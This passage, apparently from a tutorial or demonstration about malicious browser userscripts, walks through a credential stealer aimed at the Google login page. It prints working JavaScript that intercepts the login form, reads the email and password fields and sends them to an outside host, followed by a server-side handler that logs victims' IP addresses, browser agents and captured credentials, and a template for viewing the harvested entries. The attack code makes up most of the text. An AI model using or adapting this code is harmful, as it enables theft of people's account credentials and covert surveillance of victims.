Our first malicious userscript targets the Google login page and tries to capture the usernames and passwords submitted to Google.
The userscript is quite simple, and gets its data from the fields in the gaia_loginform
named Email
and Passwd
.
function googleHack() { function sendPass(event) { event.preventDefault(); // stop form from being submitted by dropping the submit event var username = document.getElementById('Email').value; var password = document.getElementById('Passwd').value; requestToURL('http://puppetmaster.akshell.com/post.html', { 'hack': 'google', 'url': document.location.href, 'username': username, 'password': password }); //alert('Sent: ' + username + ' ' + password); // submit form after some time to allow above request to be made window.setTimeout(function () { document.getElementById('gaia_loginform').submit(); }, 1000); } document.getElementById('gaia_loginform').addEventListener('submit', sendPass, false); } function puppetHack() { if (document.location.href.indexOf('https://accounts.google.com/ServiceLogin') >= 0) { googleHack(); } } // script main window.addEventListener("load", puppetHack, false);
On the server side, we have setup an table in the database to hold entries we send to the server with the following fields:
- hack: a different name for every type of hack we attempt
- url: the URL where the script was active
- ip: IP of the victim, obtained from the HTTP header
- agent: browser agent of victim (also from HTTP header)
- timestamp: current date
- data: the rest of the request arguments.
The Akshell request handler which parses the GET request parameters and creates a new Entry
looks like this:
var PostHandler = Handler.subclass( { get: function (request) { if (!request.get.hack) { request.get.hack = '[unknown]' } if (!request.get.url) { request.get.url = '[unknown]' } var data = getData(request.get); if (data) { rv.Entry.insert( { hack: request.get.hack, url: request.get.url, agent: request.headers['user-agent'], ip: request.headers['x-forwarded-for'], timestamp: new Date(), data: data }); } return render( 'post.html', { elements: toArray(request.get) }); } });
To display the data collected so far, we’ve created this page, using the following mashup code:
{% extends 'base.html' %} {% block title %}Data Store{% endblock %} {% block content %} <h1>Current data:</h1> <ul> {% for entry in entries %} <li> {{ entry.id }} <ul> <li>Hackname: {{ entry.hack }}</li> <li>URL: {{ entry.url }}</li> <li>User-Agent: {{ entry.agent }}</li> <li>IP: {{ entry.ip }}</li> <li>Time: {{ entry.timestamp }}</li> <li>Data: {{ entry.data }}</li> </ul> </li> {% empty %} <li>No data received yet!</li> {% endfor %} </ul> {% endblock %}
The Akshell handler simply returns all entries in the table:
// Handler to data display page var DisplayHandler = Handler.subclass( { get: function (request) { return render( 'display.html', { entries: rv.Entry.all().get({by: '-id'}) }); } });